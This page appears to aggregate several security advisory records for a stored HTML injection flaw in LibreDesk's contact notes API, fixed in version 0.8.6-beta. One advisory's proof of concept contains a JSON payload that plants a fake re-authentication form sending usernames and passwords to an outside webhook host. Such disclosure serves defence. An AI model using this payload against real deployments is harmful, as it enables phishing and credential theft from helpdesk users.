Improper Neutralization of HTML Tags in a Web Page in libredesk

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Libredesk is a self-hosted customer support desk. Prior to version 0.8.6-beta, LibreDesk is vulnerable to stored HTML injection in the contact notes feature. When adding notes via POST /api/v1/contacts/{id}/notes, the backend automatically wraps user input in <p> tags. However, by intercepting the request and removing the <p> tag, an attacker can inject arbitrary HTML elements such as forms and images, which are then stored and rendered without proper sanitization. This can lead to phishing, CSRF-style forced actions, and UI redress attacks. This issue has been patched in version 0.8.6-beta.

Source published

27 Dec 2025 00:04:49 UTC

Source modified

29 Dec 2025 16:51:24 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 4.0 · 7.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

Libredesk is a self-hosted customer support desk. Prior to version 0.8.6-beta, LibreDesk is vulnerable to stored HTML injection in the contact notes feature. When adding notes via POST /api/v1/contacts/{id}/notes, the backend automatically wraps user input in <p> tags. However, by intercepting the request and removing the <p> tag, an attacker can inject arbitrary HTML elements such as forms and images, which are then stored and rendered without proper sanitization. This can lead to phishing, CSRF-style forced actions, and UI redress attacks. This issue has been patched in version 0.8.6-beta.

Source published

Dec 27, 2025, 12:04:49 AM (timezone not stated)

Source modified

Dec 29, 2025, 4:51:24 PM (timezone not stated)

Observed here

11 Nov 2026 04:36:05 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 7.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

Libredesk is a self-hosted customer support desk. Prior to version 0.8.6-beta, LibreDesk is vulnerable to stored HTML injection in the contact notes feature. When adding notes via POST /api/v1/contacts/{id}/notes, the backend automatically wraps user input in <p> tags. However, by intercepting the request and removing the <p> tag, an attacker can inject arbitrary HTML elements such as forms and images, which are then stored and rendered without proper sanitization. This can lead to phishing, CSRF-style forced actions, and UI redress attacks. This issue has been patched in version 0.8.6-beta.

Source published

27 Dec 2025 01:15:42 UTC

Source modified

7 Oct 2026 13:10:00 UTC

Observed here

25 Oct 2026 04:17:10 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 7.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Primary · 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

### Summary LibreDesk is vulnerable to **stored HTML injection** in the contact notes feature. When adding notes via `POST /api/v1/contacts/{id}/notes`, the backend automatically wraps user input in `<p>` tags. However, by intercepting the request and removing the `<p>` tag, an attacker can inject arbitrary HTML elements such as forms and images, which are then stored and rendered without proper sanitization. This can lead to phishing, CSRF-style forced actions, and UI redress attacks. --- ### Details When notes are added through the LibreDesk web application, the client sends note content wrapped inside `<p>` tags. The backend appears to **trust this HTML structure** and stores the content as-is. By intercepting the request to: ``` POST /api/v1/contacts/3/notes ``` and **removing the `<p>` wrapper**, an attacker can submit arbitrary HTML content. The backend does not sanitize or validate the HTML payload before persisting it. As a result: * Arbitrary HTML tags (e.g., `<form>`, `<input>`, `<img>`) are stored * The injected HTML is rendered when the notes are viewed in the application * No server-side HTML sanitization or allowlisting is enforced This indicates that the application relies on **client-side HTML formatting assumptions**, which can be bypassed by modifying the request. --- ### PoC 1. Log in to LibreDesk and open any contact. 2. Add a note normally via the UI. 3. Intercept the request to: ``` POST /api/v1/contacts/3/notes ``` 4. Original request body (example): ```json { "note": "<p>This is a normal note</p>" } ``` 5. Modify the payload by removing the `<p>` tag and injecting arbitrary HTML: ```json { "note": "<form action='https://webhook.site/xxxx' method='POST'> <input type='text' name='username' placeholder='Username'> <input type='password' name='password' placeholder='Password'> <input type='submit' value='Re-authenticate'> </form>" } ``` 6. Forward the request. 7. View the contact note in the LibreDesk UI. **Result:** The injected HTML form is rendered inside the application. --- ### Impact This is a **stored HTML injection** vulnerability affecting any user who can add or view contact notes. Potential impact includes: * Credential phishing through injected forms * CSRF-style forced actions using HTML-only forms * UI redress and social engineering * Increased risk if notes are viewed by privileged users (e.g., admins or agents) If the notes are shared across users or roles, this vulnerability can be abused to target multiple users, increasing severity.

Source published

16 Dec 2025 20:43:16 UTC

Source modified

31 Dec 2025 02:00:23 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

Publisher rating · HIGH

Libredesk has Improper Neutralization of HTML Tags in a Web Page in github.com/abhinavxd/libredesk

Source published

22 Dec 2025 18:15:35 UTC

Source modified

3 Mar 2026 04:57:48 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.